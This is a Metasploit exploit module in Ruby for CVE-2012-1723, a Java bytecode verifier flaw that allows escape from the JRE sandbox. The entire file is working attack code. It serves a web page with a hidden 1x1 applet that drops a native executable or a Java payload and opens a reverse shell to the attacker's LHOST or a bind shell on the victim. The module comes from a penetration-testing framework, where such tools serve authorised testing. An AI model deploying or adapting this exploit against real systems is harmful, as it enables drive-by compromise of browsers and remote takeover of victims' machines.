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179 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent
type checks. This allows a way to escape the JRE sandbox, and load additional classes
in order to perform malicious operations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stefan Cornellius', # Discoverer
'mihi', # Vuln analysis
'littlelightlittlefire', # metasploit module
'juan vazquez', # merged code (overlapped)
'sinn3r' # merged code (overlapped)
],
'References' =>
[
['CVE', '2012-1723'],
['OSVDB', '82877'],
['BID', '52161'],
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 06 2012'
))
end
def exploit
# load the static jar file
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close
super
end
def on_request_uri( cli, request )
data = ""
host = ""
port = ""
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status("Sending #{self.name}")
payload = regenerate_payload( cli )
if not payload
print_error("Failed to generate the payload." )
return
end
if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
jar = payload.encoded
host = datastore['LHOST']
port = datastore['LPORT']
vprint_status("Sending java reverse shell")
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
vprint_status( "Java bind shell" )
end
if jar
print_status( "Generated jar to drop (#{jar.length} bytes)." )
jar = Rex::Text.to_hex( jar, prefix="" )
else
print_error("Failed to generate the executable." )
return
end
else
# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe
if data
print_status("Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_error("Failed to generate the executable." )
return
end
end
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
return
end
print_status("Sending jar")
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html( data, jar, host, port )
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "</applet></body></html>"
return html
end
def generate_jar()
@jar_data
end
end
|